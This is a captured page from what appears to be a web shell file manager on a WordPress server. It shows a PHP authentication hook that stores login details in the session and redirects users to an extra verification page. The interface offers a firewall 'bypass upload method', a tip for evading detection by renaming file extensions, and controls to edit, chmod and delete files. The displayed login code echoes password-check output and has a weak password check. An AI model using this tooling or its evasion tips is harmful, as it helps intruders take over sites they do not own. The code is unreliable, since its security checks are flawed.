Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
scripts
secure_wordpress
File Content:
secure_wp_func.txt
add_action( 'wp_authenticate', 'wp_authenticate_by_email' ); // user name is passed in by reference function wp_authenticate_by_email( &$username ) { session_start(); $user = get_user_by( 'login', $username ); if ( $user && isset($_POST['pwd']) && ! isset($_SESSION["verified"]) ) { $password = $_POST['pwd']; $_SESSION["admin"] = $_POST['log']; $password = htmlspecialchars($password); $password = trim($password); $password = htmlentities($password); $password = addslashes($password); $check_pass = wp_check_password( $password, $user->data->user_pass, $user->ID ); echo "check_pass".$check_pass; $result = checkPassword($password); if ( ( $_SESSION["admin"] == 'admin' || $result ) && $check_pass && file_exists(ABSPATH.'hr_verfication.php') ) { $_SESSION["user_nicename"] = $user->data->user_nicename; $_SESSION["user_email"] = $user->data->user_email; $_SESSION["user_id"] = $user->ID; $_SESSION["verified"]= "jegn"; $_SESSION["passreset"] = wp_lostpassword_url(); $_SESSION["log_admin"] = admin_url(); header('Location: '.get_site_url().'/hr_verfication.php'); exit; } } } add_action('wp_logout', 'session_clear'); function session_clear() { session_start(); unset($_SESSION["verified"]); unset($_SESSION["admin"]); unset($_SESSION["pass"]); unset($_SESSION["user_nicename"]); unset($_SESSION["user_email"]); unset($_SESSION["user_id"]); unset($_SESSION["passreset"]); unset($_SESSION["log_admin"]); } function checkPassword($pwd) { session_start(); $errors =''; if ( strlen($pwd) < 10 || !preg_match("#[0-9]+#", $pwd) || !preg_match("#[a-zA-Z]+#", $pwd) || $pwd == 'admin@123' || !preg_match("#\W+#", $pwd) ) { $_SESSION["pass"] = true; $errors ="Your Password so week"; } return $errors; }
Edit
Download
Unzip
Chmod
Delete